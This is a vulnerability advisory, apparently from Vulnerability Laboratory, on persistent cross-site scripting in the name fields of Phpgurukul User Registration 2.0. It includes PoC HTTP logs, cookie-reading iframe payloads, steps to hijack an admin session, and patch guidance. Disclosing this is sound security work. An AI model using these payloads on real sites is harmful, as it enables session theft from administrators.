exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Phpgurukul User Registration 2.0 Cross Site Scripting

Phpgurukul User Registration 2.0 Cross Site Scripting
Posted Apr 20, 2020
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Phpgurukul User Registration version 2.0 suffers from persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 7ba786f9512e8f45efaf096447eb7c5129eb67f910fc6d7d5a41888d29097f6d

Phpgurukul User Registration 2.0 Cross Site Scripting

Change Mirror Download
Document Title:
===============
Phpgurukul User Registration v2.0 - Multiple Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2216


Release Date:
=============
2020-04-20


Vulnerability Laboratory ID (VL-ID):
====================================
2216


Common Vulnerability Scoring System:
====================================
5.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
User Registration & Login and User Management System With Admin Panel v2.0.

(Copy of the Homepage:
https://phpgurukul.com/?smd_process_download=1&download_id=7003 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web
vulnerabilities in the Phpgurukul User Registration & User Management
System v2.0.


Affected Product(s):
====================
Anuj Kumar
Product: User Registration & Login and User Management System With Admin
Panel v2.0 (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-04-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been
discovered in the Phpgurukul User Registration & User Management System
v2.0.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application
requests from the application-side.

The persistent cross site web vulnerabilities are located in the
`firstname` and `lastname` parameters of the registration form &
loginsystem input fields.
Remote attackers are able to register with malicious script code as
firstname or lastname to manipulate the `manage-users.php` and
`update-profile.php`
files visible for administrators in the backend. The injection point is
the registration or user edit module and the execution occurs on
manage-users
preview or user edits. The request method to inject is POST and the
attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Input(s):
[+] firstname
[+] lastname

Vulnerable Module(s):
[+] Registration (Login-System)

Vulnerable Parameter(s):
[+] fname
[+] lname

Affected Module(s):
[+] Manage Users (manage-users.php)
[+] Update User (update-profile.php)


Proof of Concept (PoC):
=======================
The persistent input validation vulnerabilities can be exploited by
remote attackers without privileged user account and with low user
interaction.
For security demonstration or to reproduce the security web
vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce ...
1. Open the registration formular
2. Inject payload in firstname and lastname values
3. Submit the request via POST method
4. Wait until the admin previews the users listing without any activations
Note: The execution occurs on user edit and in the user management listing
5. On preview the cookie transmits to attacker and he can login with non
expired cookie
7. Successful reproduce of the vulnerability!


--- PoC Session Logs (POST) --- (Inject)
https://localhost:8080/project/loginsystem/
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------84460134629716292423840703493
Content-Length: 897
Origin: https://localhost:8080
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169;
PHPSESSID=92276d293892927eea41e64e19c214a4
fname=test1>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&lname=test2>"<iframe
src=evil.source
onload=alert(document.cookie)></iframe>&email=keymaster31337@protonmail.com&password=whoami23&contact=31337317&signup=Sign
Up
-
POST: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2


PoC: Vulnerable Source (Execution Point - manage-users.php)
<tr>
<td>585</td>
<td>test1>"<iframe src="evil.source"
onload="alert(document.cookie)"></iframe></td>
<td>test2>"<iframe src="evil.source"
onload="alert(document.cookie)"></iframe></td>
<td>keymaster31337@protonmail.com</td>
<td>31337317</td><td>2020-04-19</td>
<td>
<a href="update-profile.php?uid=1223">
<button class="btn btn-primary btn-xs"><i class="fa
fa-pencil"></i></button></a>
<a href="manage-users.php?id=1223">
<button class="btn btn-danger btn-xs" onclick="return confirm('Do you
really want to delete');"><i class="fa fa-trash-o "></i></button></a>
</td>
</tr>


--- PoC Session Logs (GET) --- (Execution Admin Backend)
https://localhost:8080/project/loginsystem/admin/manage-users.php
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer:
https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169;
PHPSESSID=92276d293892927eea41e64e19c214a4; _gat_gtag_UA_106216538_1=1
-
GET: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2
-
https://localhost:8080/project/loginsystem/admin/evil.source
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/admin/manage-users.php
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169;
PHPSESSID=92276d293892927eea41e64e19c214a4; _gat_gtag_UA_106216538_1=1
Upgrade-Insecure-Requests: 1
-
GET: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-cache, must-revalidate, max-age=0
link: <https://localhost:8080/wp-json/>; rel="https://api.w.org/"
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2


PoC: Vulnerable Source (Execution Point - update-profile.php)
<section class="wrapper">
<h3><i class="fa fa-angle-right"></i> test1>"<iframe src="evil.source"
onload="alert(document.cookie)"></iframe>'s Information</h3>
<div class="row">
<div class="col-md-12">
<div class="content-panel">
<p style="color:#F00;" align="center"></p>
<form class="form-horizontal style-form" name="form1" method="post"
action="" onsubmit="return valid();">
<p style="color:#F00"></p>
<div class="form-group">
<label class="col-sm-2 col-sm-2 control-label"
style="padding-left:40px;">First Name </label>
<div class="col-sm-10">
<input type="text" class="form-control" name="fname" value="test1>"
<iframe="evil.source" src="evil.source"
onload="alert(document.cookie)">" >
</div>
</div>
<div class="form-group">
<label class="col-sm-2 col-sm-2 control-label"
style="padding-left:40px;">Last Ename</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="lname" value="test2>"
<iframe="evil.source" src=evil.source" onload="alert(document.cookie)">"
>
</div>
</div>


--- PoC Session Logs [POST] ---
https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
Origin: https://localhost:8080
Connection: keep-alive
Referer:
https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169;
PHPSESSID=92276d293892927eea41e64e19c214a4
fname=hello>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&lname=world>"<iframe
src=evil.source
onload=alert(document.cookie)></iframe>&email=htp2020@protonmail.com&contact=2020-04-06,2020-03-06&Submit=Update
-
POST: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2
-
https://localhost:8080/project/loginsystem/admin/evil.source
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer:
https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169;
PHPSESSID=92276d293892927eea41e64e19c214a4
-
GET: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-cache, must-revalidate, max-age=0
link: <https://localhost:8080/wp-json/>; rel="https://api.w.org/"
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2


Reference(s):
https://localhost:8080/project/
https://localhost:8080/project/loginsystem/
https://localhost:8080/project/loginsystem/admin/
https://localhost:8080/project/loginsystem/admin/manage-users.php
https://localhost:8080/project/loginsystem/admin/update-profile.php


Solution - Fix & Patch:
=======================
The vulnerability can be patched following the next steps ...
1. Parse and sanitize the fname and lname parameters in the registration
request
2. Restrict the input and registration process using special chars and
other malformed contents
3. Sanitize the output in the update-profile.php and manage-users.php
file location


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities
in the web-application are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™


--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close